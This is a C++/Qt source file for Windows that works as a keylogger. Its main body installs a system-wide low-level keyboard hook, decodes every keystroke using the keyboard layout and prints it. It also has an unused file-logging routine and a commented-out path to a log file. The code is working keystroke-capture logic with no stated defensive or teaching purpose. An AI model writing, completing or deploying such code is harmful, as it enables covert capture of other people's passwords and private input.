1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197
|
#include <QCoreApplication>
#include <QDebug>
#include <QTime>
#include <QChar>
#include <QFile>
#include <QString>
#include <Windows.h>
#include <QTextStream>
#pragma comment(lib,"user32.lib")
HHOOK hHook = NULL;
using namespace std;
void Write(QString Filename, QString s)
{
QFile mFile(Filename);
if(!mFile.open(QFile::WriteOnly | QIODevice::Text | QIODevice::Append))
{
//error
}
QTextStream out(&mFile);
out << s ;
mFile.flush();
mFile.close();
}
void UpdateKeyState(BYTE *keystate, int keycode)
{
keystate[keycode] = GetKeyState(keycode);
}
bool shift = false;
LRESULT CALLBACK MyLowLevelKeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
//QString mFilename = "C:/Users/example/Desktop/log.txt";
//WPARAM is WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN or WM_SYSKEYUP
//LPARAM is the key information
// if( wParam == WM_KEYDOWN )
//qDebug() << "Key Pressed!";
//Get the key information
//KBDLLHOOKSTRUCT cKey = *((KBDLLHOOKSTRUCT*)lParam);
KBDLLHOOKSTRUCT * pKeyboardStruct = (KBDLLHOOKSTRUCT *)lParam;
wchar_t buffer[16];
//get the keyboard state
BYTE keyboard_state[256];
GetKeyboardState(keyboard_state);
UpdateKeyState(keyboard_state, VK_SHIFT);
UpdateKeyState(keyboard_state, VK_CAPITAL);
UpdateKeyState(keyboard_state, VK_CONTROL);
UpdateKeyState(keyboard_state, VK_MENU);
//Get Keyboard Layout languages!!
HKL keyboard_layout = GetKeyboardLayout(0);
//Get the name
char lpszName[0x100] = {0};
DWORD dwMsg = 1;
dwMsg += pKeyboardStruct->scanCode << 16;
dwMsg += pKeyboardStruct->flags << 24;
QString i = GetKeyNameText(dwMsg, (LPTSTR)lpszName,255);
//try to convert the key info
int result = ToUnicodeEx(pKeyboardStruct->vkCode, pKeyboardStruct->scanCode, keyboard_state, buffer,16,0,keyboard_layout);
buffer[4] = L'\0';
// ascii, key
qDebug() << "key:" << pKeyboardStruct->vkCode << "" << QString::fromUtf16((ushort*)buffer) << " " << QString::fromUtf16((ushort*)lpszName);
// Print the output
QString s = QString::fromUtf16((ushort*)buffer);
qDebug() << s;
// convertir QString a char
//char myChar = s[0].toLatin1();
//convertir a Qchar o char a partir de QString
//QString cadena = "Hola";
//std::string cadenaStd = cadena.toStdString();
//Qchar c = cadenaStd[0];
//SYSKEYDOWN , con esto si funciona el alt pero no hace falta
std::string cadenaStd = s.toStdString();
QChar c = cadenaStd[0];
//letters down
if(wParam == WM_KEYDOWN){
// for the Shift-Key
//the fundamental keys
switch (pKeyboardStruct->vkCode)
{
// Number keys
case 0xBE: qDebug() << ".";break;
case 0x31: qDebug() << "1";break;
case 0x32: qDebug() << "2";break;
case 0x33: qDebug() << "3";break;
case 0x34: qDebug() << "4";break;
case 0x35: qDebug() << "5";break;
case 0x36: qDebug() << "6";break;
case 0x37: qDebug() << "7";break;
case 0x38: qDebug() << "8";break;
case 0x39: qDebug() << "9";break;
//Numpad keys
case 0x60: qDebug() << "0";break;
case 0x61: qDebug() << "1";break;
case 0x62: qDebug() << "2";break;
case 0x63: qDebug() << "3";break;
case 0x64: qDebug() << "4";break;
case 0x65: qDebug() << "5";break;
case 0x66: qDebug() << "6";break;
case 0x67: qDebug() << "7";break;
case 0x68: qDebug() << "8";break;
case 0x69: qDebug() << "9";break;
//Character keys
case 0x41: qDebug() << "a";break;
case 0x42: qDebug() << "b";break;
case 0x43: qDebug() << "c";break;
case 0x44: qDebug() << "d";break;
case 0x45: qDebug() << "e";break;
case 0x46: qDebug() << "f";break;
case 0x47: qDebug() << "g";break;
case 0x48: qDebug() << "h";break;
case 0x49: qDebug() << "i";break;
case 0x4A: qDebug() << "j";break;
case 0x4B: qDebug() << "k";break;
case 0x4C: qDebug() << "l";break;
case 0x4D: qDebug() << "m";break;
case 0x4E: qDebug() << "n";break;
case 0x4F: qDebug() << "o";break;
case 0x50: qDebug() << "p";break;
case 0x51: qDebug() << "q";break;
case 0x52: qDebug() << "r";break;
case 0x53: qDebug() << "s";break;
case 0x54: qDebug() << "t";break;
case 0x55: qDebug() << "u";break;
case 0x56: qDebug() << "v";break;
case 0x57: qDebug() << "w";break;
case 0x58: qDebug() << "x";break;
case 0x59: qDebug() << "y";break;
case 0x5A: qDebug() << "z";break;
case VK_RETURN: qDebug() << "";break;
case VK_BACK: qDebug() << "*";break;
case VK_DELETE: qDebug() << "*";break;
default: qDebug() << s;break;
}
//unicode
}else if(wParam == WM_KEYUP){
}
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL,0);
if(hHook == NULL){
qDebug() << "error";
}
/*
if(!ap.exists()){
qDebug() << "El archivo seleccionado no existe";
return 1;
}
ap.open(QIODevice::WriteOnly | QIODevice::Text);
if (!ap.isOpen()){
qDebug() << "El archivo no se ha podido abrir";
return 2;
}
//contenido = ap.readAll();
ap.write(contenido);
ap.flush();
ap.close();
*/
return a.exec();
}
|